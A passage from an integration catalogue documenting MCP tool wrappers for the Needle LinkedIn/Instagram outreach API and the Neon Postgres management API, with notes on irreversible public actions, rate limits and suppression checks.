preview link; do not pass it to LinkedIn." So for the first mode the caller must PUT the bytes to `uploadUrl` itself, outside this integration, before the signed URL expires; the second mode (`sourceUrl`) is the one that completes in a single call. Keep the returned `url` -- it is what the send tools and 'Delete a file' take, and the only identifier a file has here. POST /api/v1/needle/files. Scopes: api. needle_post_files_access (write) — Mint a browser-openable preview link for a stored file, via POST /api/v1/files/access. Needle's own words: "Mints a preview URL that redirects to a short-lived signed GET so the browser can open a file stored with POST /api/v1/files. The preview URL stays valid until expiresAt. Do not pass it to LinkedIn." That last sentence is the point of the distinction: this URL is for a human to look at, and the `url` from 'Create a file upload' is the one attachments take. It expires -- read `expiresAt` rather than storing the link. POST /api/v1/needle/files/access. Scopes: api. needle_post_instagram_follows (write, destructive) — Follow an account from the connected Instagram account, via POST /api/v1/instagram/follows. A PUBLIC ACTION UNDER A REAL PERSON'S HANDLE: the target is notified and the follow is visible on the connected account's profile. Needle's own words: "Follows an account. A private account gets a follow request instead, reported as followRequestPending on its profile." Metered as `instagram_follow`, and follow volume is one of the signals Instagram restricts accounts over -- read the caps on 'List a connected account's limits and usage' before looping. POST /api/v1/needle/instagram/follows. Scopes: api. needle_post_instagram_messages (write, destructive) — Send a direct message from the connected Instagram account, via POST /api/v1/instagram/messages. IRREVERSIBLE AND UNDER A REAL PERSON'S NAME. Needle's own words: "Sends a direct message, opening the conversation when there is none. Attachments are read from the URLs given." Note the difference from LinkedIn: Instagram attachments are read from whatever URL is supplied, so they need not be Needle-hosted -- but a URL that is not publicly reachable simply fails to attach. Metered as `instagram_message`. POST /api/v1/needle/instagram/messages. Scopes: api. needle_post_instagram_messages_by_messageid_reactions (write, destructive) — Add an emoji reaction to one message, via POST /api/v1/instagram/messages/{messageId}/reactions. Needle's own words: "Adds an emoji reaction to a message. Read the reactions already on it from the messages of the conversation." Visible to the other party immediately and not removable through this API, which is why it is marked destructive despite being a single emoji. `messageId` comes from 'List messages in an Instagram conversation'; `reaction` is the emoji itself. POST /api/v1/needle/instagram/messages/{messageId}/reactions. Scopes: api. needle_post_instagram_posts (write, destructive) — Publish a feed post or a story from the connected account, via POST /api/v1/instagram/posts. PUBLISHES TO A REAL PERSON'S PUBLIC PROFILE and cannot be deleted through this API. Needle's own words: "Publishes a feed post or a story from the connected account. At least one image or video is required." `media` is required and non-empty; `postType` chooses `feed` (permanent until the owner deletes it by hand) or `story` (expires on Instagram's own schedule). The broadest-audience write on this provider: everything else here reaches one person or one thread, this reaches every follower. POST /api/v1/needle/instagram/posts. Scopes: api. needle_post_instagram_posts_by_postid_comments (write, destructive) — Post a public comment on a post, or a reply to a comment, via POST /api/v1/instagram/posts/{postId}/comments. IRREVERSIBLE AND PUBLIC. Needle's own words: "Comments on a post, or replies to a comment. A comment cannot be edited or removed through this API." It appears under the connected account's real handle on somebody else's post, where their whole audience sees it, and only the account owner can delete it by hand in Instagram. POST /api/v1/needle/instagram/posts/{postId}/comments. Scopes: api. needle_post_instagram_posts_by_postid_reactions (write, destructive) — Like a post or one of its comments, via POST /api/v1/instagram/posts/{postId}/reactions. Needle's own words: "Likes a post, or one of its comments. A like is the only reaction a post takes." It is attributed to the connected account and visible to the author, and nothing here removes it -- which is why a one-tap action is marked destructive on this surface. Pass `commentId` to like a comment rather than the post. POST /api/v1/needle/instagram/posts/{postId}/reactions. Scopes: api. needle_post_leads (write) — Add one person to the lead database, via POST /api/v1/leads. `identities` and `timezone` are both REQUIRED, and `identities` is where the flexibility lives: Needle states that "identities.linkedin accepts a public identifier (john-doe), /in/john-doe, in/john-doe, a profile URL (https://www.linkedin.com/in/john-doe), or a user id (ACoAAA...). identities.instagram accepts a username (john-doe), @john-doe, or a profile URL (https://www.instagram.com/john-doe)." A lead with no handle for the channel a campaign sends on is skipped at enrollment with `missing_identity`, so give it the identity for the channel you intend to use. `timezone` is what the campaign schedule is evaluated in -- a wrong one sends at the wrong local hour, which is the most common quiet failure here. `properties` is a free-form object for personalization values, and an empty one that a message template references is its own enrollment skip (`missing_personalization`). For more than a handful of people, use 'Create leads in bulk', which upserts instead of duplicating. POST /api/v1/needle/leads. Scopes: api. needle_post_leads_bulk (write) — Upsert up to 500 leads in one call, via POST /api/v1/leads/bulk. THE IDEMPOTENT ONE, and the reason to prefer it over a loop of single creates. Needle's own words: "Upserts up to 500 leads by identity, so re-sending a list settles onto the leads it created the first time rather than duplicating them. A row whose identity already belongs to a lead returns that lead as 'matched', with the fields the row carried patched onto it. A row with no readable handle is skipped rather than failing the batch, since it could never be messaged. Same identity formats as POST /leads. Results come back in request order." So read the results positionally and check each row's outcome: a partial success is the normal case, not an error. POST /api/v1/needle/leads/bulk. Scopes: api. needle_post_linkedin_companies_search (read) — Search LinkedIn for company pages, via POST /api/v1/linkedin/companies/search. Needle's own words: "Company search by keywords or a company search URL, one or the other. Hits carry the numeric id, which the company endpoints accept as identifier." One or the other is literal -- send `keywords` or `searchUrl`, not both. The numeric id in each hit is what 'Get a LinkedIn company' and 'List jobs posted by a LinkedIn company' take. Paged with `cursor`/`limit`. POST /api/v1/needle/linkedin/companies/search. Scopes: api. needle_post_linkedin_inmails (write, destructive) — Send an InMail that does not need a connection, via POST /api/v1/linkedin/inmails. COSTS REAL MONEY AND CANNOT BE UNSENT. Needle's own words: "Sends an InMail. Does not require a connection. Reaches in-network recipients and out-of-network Open Profiles. Costs one credit unless LinkedIn treats the recipient as Open Profile, and requires a Sales Navigator seat on the connected account." Check the balance with 'Get remaining InMail credits' and check `isOpenProfile` with 'Get a LinkedIn profile' before spending one. `subject` is required here and has no equivalent on a plain message. Attachments are Needle-hosted files from 'Create a file upload' -- pass the `url`, never the `downloadUrl`. Metered as `linkedin_inmail` on top of the credit cost. POST /api/v1/needle/linkedin/inmails. Scopes: api. needle_post_linkedin_invitations (write, destructive) — Send a connection request, with an optional note, via POST /api/v1/linkedin/invitations. IRREVERSIBLE AND VISIBLE: the invitation appears in someone's LinkedIn from the connected account's own profile. Needle's own constraints: "Sends a connection invitation with an optional note of up to 300 characters. Fails if the recipient is already connected or has an invitation pending." Invitations are the most tightly policed action LinkedIn has -- `linkedin_invitation` is capped per hour, day and week on 'List a connected account's limits and usage', and exceeding what LinkedIn considers normal is what gets a real person's account restricted. Withdrawing later does not undo the notification the recipient already saw. POST /api/v1/needle/linkedin/invitations. Scopes: api. needle_post_linkedin_invitations_received_by_invitationid (write, destructive) — Accept or decline one pending received invitation, via POST /api/v1/linkedin/invitations/received/{invitationId}. Needle's own words: "Accepts or declines a pending received invitation. Neither action can be reversed through this API." Accepting makes the sender a first-degree connection of a real person's account -- which changes who can message them and what they can see -- and declining cannot be taken back. `action` is `accept` or `decline`, and the `invitationId` must come from 'List received LinkedIn invitations'. POST /api/v1/needle/linkedin/invitations/received/{invitationId}. Scopes: api. needle_post_linkedin_jobs_search (read) — Search LinkedIn's job listings, via POST /api/v1/linkedin/jobs/search. Needle's own words: "Job search by keywords, companies, or filters; a jobs search URL replaces them all. location, industries, jobTitles and jobFunctions take ids from GET /api/v1/linkedin/search/parameters." So resolve those four with 'Resolve LinkedIn search filter ids' before using them -- passing text where an id is expected silently narrows to nothing rather than erroring. `postedWithinDays` and `sortBy` (`relevance` or `date`) are the freshness controls. A POST that reads; paged with `cursor`/`limit`. POST /api/v1/needle/linkedin/jobs/search. Scopes: api. needle_post_linkedin_messages (write, destructive) — Send a direct message from the connected account, via POST /api/v1/linkedin/messages. IRREVERSIBLE AND PUBLIC UNDER A REAL PERSON'S NAME: the message arrives in someone else's LinkedIn inbox from the connected account's own profile, and nothing in this integration can unsend it. Needle's own constraint: "Only first-degree connections can receive one, so check isConnected on the profile first and send an InMail otherwise. Open Profile (isOpenProfile) can receive InMail without a connection." So the correct sequence is 'Get a LinkedIn profile' -> `isConnected` -> this tool, or 'Send a Sales Navigator InMail' when it is false. Attachments are Needle-hosted files: upload with 'Create a file upload' first and pass the `url` it returns -- NOT the `downloadUrl`, which Needle explicitly says must not be given to LinkedIn. Metered as `linkedin_message`. POST /api/v1/needle/linkedin/messages. Scopes: api. needle_post_linkedin_people_search (read) — Search standard LinkedIn for people by keywords, filters or a search URL, via POST /api/v1/linkedin/people/search. Needle's own words: "Search standard LinkedIn with keywords, focused structured filters, or a Classic people search URL." `searchUrl` is the shortcut: paste a search you already built in LinkedIn's own UI and the structured filters are not needed. The id-valued filters (`locations`, `industries`, `companies`, `schools`, ...) take LinkedIn's own ids rather than text -- resolve them first with 'Resolve LinkedIn search filter ids', passing `service: "classic"`. A POST that READS: nothing is written, but `linkedin_search` IS a metered action, so a search burns the account's daily search allowance. Page with `cursor`/`limit`. For Sales Navigator's far larger filter set, use the Sales Navigator tool instead. POST /api/v1/needle/linkedin/people/search. Scopes: api. needle_post_linkedin_posts_by_postid_comments (write, destructive) — Post a public comment on a post, or a reply to a comment, via POST /api/v1/linkedin/posts/{postId}/comments. IRREVERSIBLE AND PUBLIC. Needle's own words: "Adds a comment to a post, or a reply when commentId is given. Comments are public and cannot be edited or removed through this API." It is published under the connected account's real name to everyone who can see the post, and neither this integration nor Needle can take it down -- only the account owner can, by hand, in LinkedIn. NOTE ON THE VENDOR'S SCHEMA: Needle's OpenAPI declares no `postId` path parameter for this operation even though its path contains `{postId}` and the sibling GET declares it. This build supplies `postId` as a required argument anyway, because a request without it would put the literal `{postId}` on the wire. Metered as `linkedin_comment`. POST /api/v1/needle/linkedin/posts/{postId}/comments. Scopes: api. needle_post_linkedin_posts_by_postid_reactions (write, destructive) — Add a reaction to a post or to one of its comments, via POST /api/v1/linkedin/posts/{postId}/reactions. PUBLIC AND ATTRIBUTED: a reaction shows the connected account's name and photo to the author and, through LinkedIn's feed, to that account's own network -- it is a small action with a wide audience. Needle's own words: "Adds a reaction to a post, or to a comment when commentId is given. Defaults to like." `reaction` takes `like`, `celebrate`, `support`, `love`, `insightful` or `funny`. Nothing here removes a reaction. SAME SCHEMA GAP AS THE COMMENT TOOL: Needle's OpenAPI declares no `postId` path parameter for this operation; this build supplies it because the path requires it. Metered as `linkedin_reaction`. POST /api/v1/needle/linkedin/posts/{postId}/reactions. Scopes: api. needle_post_linkedin_posts_search (read) — Search LinkedIn for posts, via POST /api/v1/linkedin/posts/search. Needle's own words: "Post search by keywords or a post search URL, one or the other. Each hit carries the postId used by the post, comment and reaction endpoints." THAT LAST SENTENCE MATTERS: the `postId` this returns is the only reliable source of one -- Needle warns elsewhere that "an id copied from a post URL often does not resolve". Paged with `cursor`/`limit`. POST /api/v1/needle/linkedin/posts/search. Scopes: api. needle_post_linkedin_sales_navigator_people_search (read) — Search Sales Navigator leads by keywords, filters or a search URL, via POST /api/v1/linkedin/sales-navigator/people/search. REQUIRES A SALES NAVIGATOR SEAT on the connected account; without one this is the wrong tool and 'Search LinkedIn people (standard search)' is the right one. The filter set is the widest on this provider -- roughly forty fields, most of them paired with an `excluded*` twin (`industries`/`excludedIndustries`, `jobTitles`/`excludedJobTitles`, and so on), plus seniorities, tenure bands, spotlights, saved personas, account lists and lead lists. The id-valued ones take LinkedIn ids from 'Resolve LinkedIn search filter ids' with `service: "sales_navigator"`, whose type vocabulary differs from classic (REGION and SALES_INDUSTRY rather than LOCATION and INDUSTRY). `searchUrl` replaces the whole filter set with a search built in Sales Navigator's own UI. Metered as `linkedin_search`; page with `cursor`/`limit`. POST /api/v1/needle/linkedin/sales-navigator/people/search. Scopes: api. needle_post_places_search (read) — Find businesses and locations by text or near a point, via POST /api/v1/places/search. Needle's own words: "Build a list of businesses and locations. Pass a query for text search, or a location (and optional type) for nearby search. Page text-search results with the returned cursor." Two modes in one call: `query` for a text search, or `location` (with `radiusMeters` and an optional `type`) for a nearby one. Only the text mode pages. Nothing about this touches LinkedIn or Instagram and it needs no connected account -- it is a lead-sourcing tool that feeds 'Create leads in bulk'. The ids it returns are Google Place ids, which is what 'Get a place' takes. POST /api/v1/needle/places/search. Scopes: api. needle_post_suppressions (write) — Add people or companies to the do-not-contact list, via POST /api/v1/suppressions. THE RIGHT WAY TO STOP CONTACTING SOMEONE, and the reason it is not marked destructive: it only ever prevents outreach. A suppression outlives the lead record, so it survives a re-import that would otherwise make a deleted person contactable again -- which is precisely what deleting a lead does NOT give you. `entries` is a list, so an unsubscribe batch is one call. Enrollment skips anyone suppressed with the reason `suppressed`. POST /api/v1/needle/suppressions. Scopes: api. needle_post_suppressions_check (read) — Ask whether specific people or companies are suppressed, via POST /api/v1/suppressions/check. THE PRE-FLIGHT FOR ANY SEND THIS INTEGRATION MAKES DIRECTLY. Campaign enrollment checks suppressions by itself, but 'Send a LinkedIn message', 'Send a Sales Navigator InMail' and 'Send an Instagram message' do not -- they send to whatever identity they are given. Call this first. Needle's own words: "identity accepts the same forms as leads: a LinkedIn public identifier, /in/ path, profile URL, or user id; or an Instagram username, @handle, or profile URL." A POST that reads; each entry may also carry a `companyDomain` and a `campaignId` to scope the question. POST /api/v1/needle/suppressions/check. Scopes: api. ================================================================================ ## Neon URL: https://www.agenticfabriq.com/integrations/neon Section: Integrated Tools Neon — 172 MCP tools Provider key: neon. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. neon_delete_api_keys_by_key_id (write, destructive) — Revoke API key. Revokes the specified API key. An API key that is no longer needed can be revoked. This action cannot be reversed. API keys can also be managed in the Neon Console. See Manage API keys. DELETE /api_keys/{key_id} DELETE /api/v1/neon/api_keys/{key_id}. Scopes: api. neon_delete_organizations_by_org_id_api_keys_by_key_id (write, destructive) — Revoke organization API key. Revokes the specified organization API key. An API key that is no longer needed can be revoked. This action cannot be reversed. API keys can also be managed in the Neon Console. See Manage API keys. DELETE /organizations/{org_id}/api_keys/{key_id} DELETE /api/v1/neon/organizations/{org_id}/api_keys/{key_id}. Scopes: api. neon_delete_organizations_by_org_id_billing_spending_limit (write, destructive) — Remove organization spending limit. Removes the configured monthly spending limit for the specified organization. Idempotent — removing an already-unset limit still succeeds. DELETE /organizations/{org_id}/billing/spending_limit DELETE /api/v1/neon/organizations/{org_id}/billing/spending_limit. Scopes: api. neon_delete_organizations_by_org_id_members_by_member_id (write, destructive) — Remove organization member. Removes the specified member from the organization. Only organization admins can perform this action. The last admin in an organization cannot be removed. DELETE /organizations/{org_id}/members/{member_id} DELETE /api/v1/neon/organizations/{org_id}/members/{member_id}. Scopes: api. neon_delete_organizations_by_org_id_vpc_region_by_region_id_vpc_endpoints_by_vpc_endpoint_id (write, destructive) — Delete VPC endpoint. Deletes the VPC endpoint from the specified Neon organization. If you delete a VPC endpoint from a Neon organization, that VPC endpoint cannot be added back to the Neon organization. DELETE /organizations/{org_id}/vpc/region/{region_id}/vpc_endpoints/{vpc_endpoint_id} DELETE /api/v1/neon/organizations/{org_id}/vpc/region/{region_id}/vpc_endpoints/{vpc_endpoint_id}. Scopes: api. neon_delete_projects_by_project_id (write, destructive) — Delete project. Deletes the specified project and all its endpoints, branches, databases, and users. Deleted projects can be recovered within 7 days using `POST /projects/{project_id}/recover`. DELETE /projects/{project_id} DELETE /api/v1/neon/projects/{project_id}. Scopes: api. neon_delete_projects_by_project_id_auth_domains (write, destructive) — Delete trusted redirect URI domain. Deprecated. Use `/projects/{project_id}/branches/{branch_id}/auth/domains` instead. Removal scheduled for March 1, 2026. DELETE /projects/{project_id}/auth/domains DELETE /api/v1/neon/projects/{project_id}/auth/domains. Scopes: api. neon_delete_projects_by_project_id_auth_integration_by_auth_provider (write, destructive) — Delete integration with auth provider. Deprecated. Use `/projects/{project_id}/branches/{branch_id}/auth` instead. Removal scheduled for March 1, 2026. DELETE /projects/{project_id}/auth/integration/{auth_provider} DELETE /api/v1/neon/projects/{project_id}/auth/integration/{auth_provider}. Scopes: api. neon_delete_projects_by_project_id_auth_oauth_providers_by_oauth_provider_id (write, destructive) — Delete OAuth provider. Deprecated. Use `/projects/{project_id}/branches/{branch_id}/auth/oauth_providers/{oauth_provider_id}` instead. Removal scheduled for March 1, 2026. DELETE /projects/{project_id}/auth/oauth_providers/{oauth_provider_id} DELETE /api/v1/neon/projects/{project_id}/auth/oauth_providers/{oauth_provider_id}. Scopes: api. neon_delete_projects_by_project_id_auth_users_by_auth_user_id (write, destructive) — Delete auth user. Deprecated. Use `/projects/{project_id}/branches/{branch_id}/auth/users/{auth_user_id}` instead. Removal scheduled for March 1, 2026. DELETE /projects/{project_id}/auth/users/{auth_user_id} DELETE /api/v1/neon/projects/{project_id}/auth/users/{auth_user_id}. Scopes: api. neon_delete_projects_by_project_id_branches_by_branch_id (write, destructive) — Delete branch. Deletes the specified branch from a project and places all compute endpoints into an idle state, breaking existing client connections. The deletion completes after all operations finish. DELETE /projects/{project_id}/branches/{branch_id} DELETE /api/v1/neon/projects/{project_id}/branches/{branch_id}. Scopes: api. neon_delete_projects_by_project_id_branches_by_branch_id_auth (write, destructive) — Disable Neon Auth for the branch. Disables the Neon Auth integration for the specified branch, removing the connection to the authentication provider. DELETE /projects/{project_id}/branches/{branch_id}/auth DELETE /api/v1/neon/projects/{project_id}/branches/{branch_id}/auth. Scopes: api. neon_delete_projects_by_project_id_branches_by_branch_id_auth_domains (write, destructive) — Delete domain from redirect_uri whitelist. Removes a domain from the redirect URI whitelist for the specified branch. After removal, the domain can no longer be used as a redirect target after authentication. DELETE /projects/{project_id}/branches/{branch_id}/auth/domains DELETE /api/v1/neon/projects/{project_id}/branches/{branch_id}/auth/domains. Scopes: api. neon_delete_projects_by_project_id_branches_by_branch_id_auth_oauth_providers_by_oauth_provider_id (write, destructive) — Delete OAuth provider. Deletes an OAuth provider from the specified project. DELETE /projects/{project_id}/branches/{branch_id}/auth/oauth_providers/{oauth_provider_id} DELETE /api/v1/neon/projects/{project_id}/branches/{branch_id}/auth/oauth_providers/{oauth_provider_id}. Scopes: api. neon_delete_projects_by_project_id_branches_by_branch_id_auth_users_by_auth_user_id (write, destructive) — Delete auth user. Deletes the specified user from the Neon Auth user directory for the specified branch. Removes the user record from `neon_auth.users_sync`. This action cannot be undone. DELETE /projects/{project_id}/branches/{branch_id}/auth/users/{auth_user_id} DELETE /api/v1/neon/projects/{project_id}/branches/{branch_id}/auth/users/{auth_user_id}. Scopes: api. neon_delete_projects_by_project_id_branches_by_branch_id_buckets_by_bucket_name (write, destructive) — Delete a bucket on the branch. Deletes the named bucket from the specified branch. **Note**: This endpoint is currently in Beta. DELETE /projects/{project_id}/branches/{branch_id}/buckets/{bucket_name} DELETE /api/v1/neon/projects/{project_id}/branches/{branch_id}/buckets/{bucket_name}. Scopes: api. neon_delete_projects_by_project_id_branches_by_branch_id_buckets_by_bucket_name_objects_by_object_key (write, destructive) — Delete an object in a bucket. Deletes the named object from the bucket on the specified branch. Served by the user's session (no customer S3 credentials required). **Note**: This endpoint is currently in Beta. DELETE /projects/{project_id}/branches/{branch_id}/buckets/{bucket_name}/objects/{object_key} DELETE /api/v1/neon/projects/{project_id}/branches/{branch_id}/buckets/{bucket_name}/objects/{object_key}. Scopes: api. neon_delete_projects_by_project_id_branches_by_branch_id_buckets_by_bucket_name_objects_by_prefix (write, destructive) — Delete every object under a key prefix (folder) in a bucket. Soft-deletes every object on the specified branch whose key starts with `prefix`, in a single call. DELETE /projects/{project_id}/branches/{branch_id}/buckets/{bucket_name}/objects-by-prefix DELETE /api/v1/neon/projects/{project_id}/branches/{branch_id}/buckets/{bucket_name}/objects-by-prefix. Scopes: api. neon_delete_projects_by_project_id_branches_by_branch_id_credentials_by_token_id (write, destructive) — Revoke a credential. Soft-deletes the credential. Idempotent. **Note**: This endpoint is currently in Beta. DELETE /projects/{project_id}/branches/{branch_id}/credentials/{token_id} DELETE /api/v1/neon/projects/{project_id}/branches/{branch_id}/credentials/{token_id}. Scopes: api. neon_delete_projects_by_project_id_branches_by_branch_id_custom_domains_by_domain (write, destructive) — Delete a custom domain from a branch. Removes a custom domain registered on the branch and stops routing it. **Note**: This endpoint is currently in Beta. DELETE /projects/{project_id}/branches/{branch_id}/custom-domains/{domain} DELETE /api/v1/neon/projects/{project_id}/branches/{branch_id}/custom-domains/{domain}. Scopes: api. neon_delete_projects_by_project_id_branches_by_branch_id_data_api_by_database_name (write, destructive) — Delete Neon Data API. Deletes the Neon Data API for the specified branch. Existing connections using the Data API endpoint will fail after deletion. DELETE /projects/{project_id}/branches/{branch_id}/data-api/{database_name} DELETE /api/v1/neon/projects/{project_id}/branches/{branch_id}/data-api/{database_name}. Scopes: api. neon_delete_projects_by_project_id_branches_by_branch_id_databases_by_database_name (write, destructive) — Delete database. Deletes the specified database from the branch. DELETE /projects/{project_id}/branches/{branch_id}/databases/{database_name} DELETE /api/v1/neon/projects/{project_id}/branches/{branch_id}/databases/{database_name}. Scopes: api. neon_delete_projects_by_project_id_branches_by_branch_id_functions_by_slug (write, destructive) — Delete a function on the branch. Deletes the function identified by its slug. **Note**: This endpoint is currently in Beta. DELETE /projects/{project_id}/branches/{branch_id}/functions/{slug} DELETE /api/v1/neon/projects/{project_id}/branches/{branch_id}/functions/{slug}. Scopes: api. neon_delete_projects_by_project_id_branches_by_branch_id_roles_by_role_name (write, destructive) — Delete role. Deletes the specified Postgres role from the branch. DELETE /projects/{project_id}/branches/{branch_id}/roles/{role_name} DELETE /api/v1/neon/projects/{project_id}/branches/{branch_id}/roles/{role_name}. Scopes: api. neon_delete_projects_by_project_id_endpoints_by_endpoint_id (write, destructive) — Delete compute endpoint. Deletes the specified compute endpoint. A compute endpoint is a Neon compute instance. Deleting a compute endpoint drops existing network connections to the compute endpoint. DELETE /projects/{project_id}/endpoints/{endpoint_id} DELETE /api/v1/neon/projects/{project_id}/endpoints/{endpoint_id}. Scopes: api. neon_delete_projects_by_project_id_jwks_by_jwks_id (write, destructive) — Delete JWKS URL. Removes the specified JWKS URL from the project. JWTs signed by keys from the removed URL can no longer authenticate to the project's endpoints. DELETE /projects/{project_id}/jwks/{jwks_id} DELETE /api/v1/neon/projects/{project_id}/jwks/{jwks_id}. Scopes: api. neon_delete_projects_by_project_id_members_by_member_id_role (write, destructive) — Remove an org member's role on a project. Idempotently removes the explicit project grant. The member's organization-role default project permission still applies. DELETE /projects/{project_id}/members/{member_id}/role DELETE /api/v1/neon/projects/{project_id}/members/{member_id}/role. Scopes: api. neon_delete_projects_by_project_id_permissions_by_permission_id (write, destructive) — Revoke project access. Revokes project access from the user associated with the specified permission `id`. You can retrieve a user's permission `id` by listing project access. DELETE /projects/{project_id}/permissions/{permission_id} DELETE /api/v1/neon/projects/{project_id}/permissions/{permission_id}. Scopes: api. neon_delete_projects_by_project_id_snapshots_by_snapshot_id (write, destructive) — Delete snapshot. Deletes the specified snapshot. DELETE /projects/{project_id}/snapshots/{snapshot_id} DELETE /api/v1/neon/projects/{project_id}/snapshots/{snapshot_id}. Scopes: api. neon_delete_projects_by_project_id_vpc_endpoints_by_vpc_endpoint_id (write, destructive) — Delete VPC endpoint restriction. Removes the specified VPC endpoint restriction from a Neon project. DELETE /projects/{project_id}/vpc_endpoints/{vpc_endpoint_id} DELETE /api/v1/neon/projects/{project_id}/vpc_endpoints/{vpc_endpoint_id}. Scopes: api. neon_get_api_keys (read) — List API keys. Retrieves the API keys for your Neon account. The response does not include API key tokens. A token is only provided when creating an API key. API keys can also be managed in the Neon Console. GET /api_keys GET /api/v1/neon/api_keys. Scopes: api. neon_get_auth (read) — Retrieve request authentication details. Returns authentication details for the credentials used in the request, including the credential type (API key, Bearer token, or OAuth session) and the associated identity. GET /auth GET /api/v1/neon/auth. Scopes: api. neon_get_consumption_history_projects (read) — Retrieve project consumption metrics (legacy plans). Retrieves consumption metrics for Scale, Business, and Enterprise plan projects. History begins at the time of upgrade. Results are ordered by time in ascending order (oldest to newest). GET /consumption_history/projects GET /api/v1/neon/consumption_history/projects. Scopes: api. neon_get_consumption_history_v2_branches (read) — Retrieve branch consumption metrics. Returns consumption metrics for each branch across one or more projects listed in `project_ids` (1 to 100 projects). GET /consumption_history/v2/branches GET /api/v1/neon/consumption_history/v2/branches. Scopes: api. neon_get_consumption_history_v2_projects (read) — Retrieve project consumption metrics. Returns consumption metrics for up to `limit` projects per page. If `project_ids` is omitted, projects in the organization are included across pages (use `cursor`). GET /consumption_history/v2/projects GET /api/v1/neon/consumption_history/v2/projects. Scopes: api. neon_get_organizations_by_org_id (read) — Retrieve organization details. Retrieves details for the specified organization, including its name, plan, and configuration. GET /organizations/{org_id} GET /api/v1/neon/organizations/{org_id}. Scopes: api. neon_get_organizations_by_org_id_api_keys (read) — List organization API keys. Retrieves the API keys for the specified organization. The response does not include API key tokens. A token is only provided when creating an API key. GET /organizations/{org_id}/api_keys GET /api/v1/neon/organizations/{org_id}/api_keys. Scopes: api. neon_get_organizations_by_org_id_billing_spending_limit (read) — Retrieve organization spending limit. Returns the configured monthly spending limit for the specified organization. `spending_limit_cents: null` indicates that no limit is currently set. GET /organizations/{org_id}/billing/spending_limit GET /api/v1/neon/organizations/{org_id}/billing/spending_limit. Scopes: api. neon_get_organizations_by_org_id_invitations (read) — List organization invitations. Retrieves pending and accepted invitations for the specified organization. GET /organizations/{org_id}/invitations GET /api/v1/neon/organizations/{org_id}/invitations. Scopes: api. neon_get_organizations_by_org_id_members (read) — List organization members. Retrieves a paginated list of members for the specified organization. GET /organizations/{org_id}/members GET /api/v1/neon/organizations/{org_id}/members. Scopes: api. neon_get_organizations_by_org_id_members_by_member_id (read) — Retrieve organization member details. Retrieves information about the specified organization member. GET /organizations/{org_id}/members/{member_id} GET /api/v1/neon/organizations/{org_id}/members/{member_id}. Scopes: api. neon_get_organizations_by_org_id_vpc_region_by_region_id_vpc_endpoints (read) — List VPC endpoints. Retrieves the list of VPC endpoints for the specified Neon organization. GET /organizations/{org_id}/vpc/region/{region_id}/vpc_endpoints GET /api/v1/neon/organizations/{org_id}/vpc/region/{region_id}/vpc_endpoints. Scopes: api. neon_get_organizations_by_org_id_vpc_region_by_region_id_vpc_endpoints_by_vpc_endpoint_id (read) — Retrieve VPC endpoint details. Retrieves the current state and configuration details of a specified VPC endpoint. GET /organizations/{org_id}/vpc/region/{region_id}/vpc_endpoints/{vpc_endpoint_id} GET /api/v1/neon/organizations/{org_id}/vpc/region/{region_id}/vpc_endpoints/{vpc_endpoint_id}. Scopes: api. neon_get_organizations_by_org_id_vpc_vpc_endpoints (read) — List VPC endpoints across all regions. Retrieves the list of VPC endpoints for the specified Neon organization across all regions. GET /organizations/{org_id}/vpc/vpc_endpoints GET /api/v1/neon/organizations/{org_id}/vpc/vpc_endpoints. Scopes: api. neon_get_projects (read) — List projects. Retrieves a list of projects for the specified organization. If using a personal API key, include the `org_id` parameter to specify which organization to work with. GET /projects GET /api/v1/neon/projects. Scopes: api. neon_get_projects_by_project_id (read) — Retrieve project details. Retrieves information about the specified project. Returned details include the project settings, compute configuration, history retention, owner information, and current usage metrics. GET /projects/{project_id} GET /api/v1/neon/projects/{project_id}. Scopes: api. neon_get_projects_by_project_id_advisors (read) — Get advisor issues. Analyzes the database for security and performance issues. Returns a list of issues categorized by severity (ERROR, WARN, INFO). Requires read access to the project and Data API enabled. GET /projects/{project_id}/advisors GET /api/v1/neon/projects/{project_id}/advisors. Scopes: api. neon_get_projects_by_project_id_auth_domains (read) — List trusted redirect URI domains. Deprecated. Use `/projects/{project_id}/branches/{branch_id}/auth/domains` instead. Removal scheduled for March 1, 2026. GET /projects/{project_id}/auth/domains GET /api/v1/neon/projects/{project_id}/auth/domains. Scopes: api. neon_get_projects_by_project_id_auth_email_server (read) — Retrieve email server configuration. Deprecated. Use `/projects/{project_id}/branches/{branch_id}/auth/email_provider` instead. Removal scheduled for March 1, 2026. GET /projects/{project_id}/auth/email_server GET /api/v1/neon/projects/{project_id}/auth/email_server. Scopes: api. neon_get_projects_by_project_id_auth_integrations (read) — List active integrations with auth providers. Deprecated. Use `/projects/{project_id}/branches/{branch_id}/auth` instead. Removal scheduled for March 1, 2026. GET /projects/{project_id}/auth/integrations GET /api/v1/neon/projects/{project_id}/auth/integrations. Scopes: api. neon_get_projects_by_project_id_auth_oauth_providers (read) — List OAuth providers. Deprecated. Use `/projects/{project_id}/branches/{branch_id}/auth/oauth_providers` instead. Removal scheduled for March 1, 2026. GET /projects/{project_id}/auth/oauth_providers GET /api/v1/neon/projects/{project_id}/auth/oauth_providers. Scopes: api. neon_get_projects_by_project_id_available_preload_libraries (read) — List available shared preload libraries. Returns the shared preload libraries available for the specified project's Postgres version. GET /projects/{project_id}/available_preload_libraries GET /api/v1/neon/projects/{project_id}/available_preload_libraries. Scopes: api. neon_get_projects_by_project_id_branches (read) — List branches. Retrieves a list of branches for the specified project. Each Neon project has a root branch named `main`. A `branch_id` value has a `br-` prefix. GET /projects/{project_id}/branches GET /api/v1/neon/projects/{project_id}/branches. Scopes: api. neon_get_projects_by_project_id_branches_by_branch_id (read) — Retrieve branch details. Retrieves information about the specified branch. A `branch_id` value has a `br-` prefix. Each Neon project is initially created with a root and default branch named `main`. GET /projects/{project_id}/branches/{branch_id} GET /api/v1/neon/projects/{project_id}/branches/{branch_id}. Scopes: api. neon_get_projects_by_project_id_branches_by_branch_id_ai_gateway (read) — Get branch AI Gateway endpoint. Returns the AI Gateway endpoint host for the specified branch, used to render code-snippet base URLs. A 200 response means the branch is registered and this region serves the AI gateway. GET /projects/{project_id}/branches/{branch_id}/ai_gateway GET /api/v1/neon/projects/{project_id}/branches/{branch_id}/ai_gateway. Scopes: api. 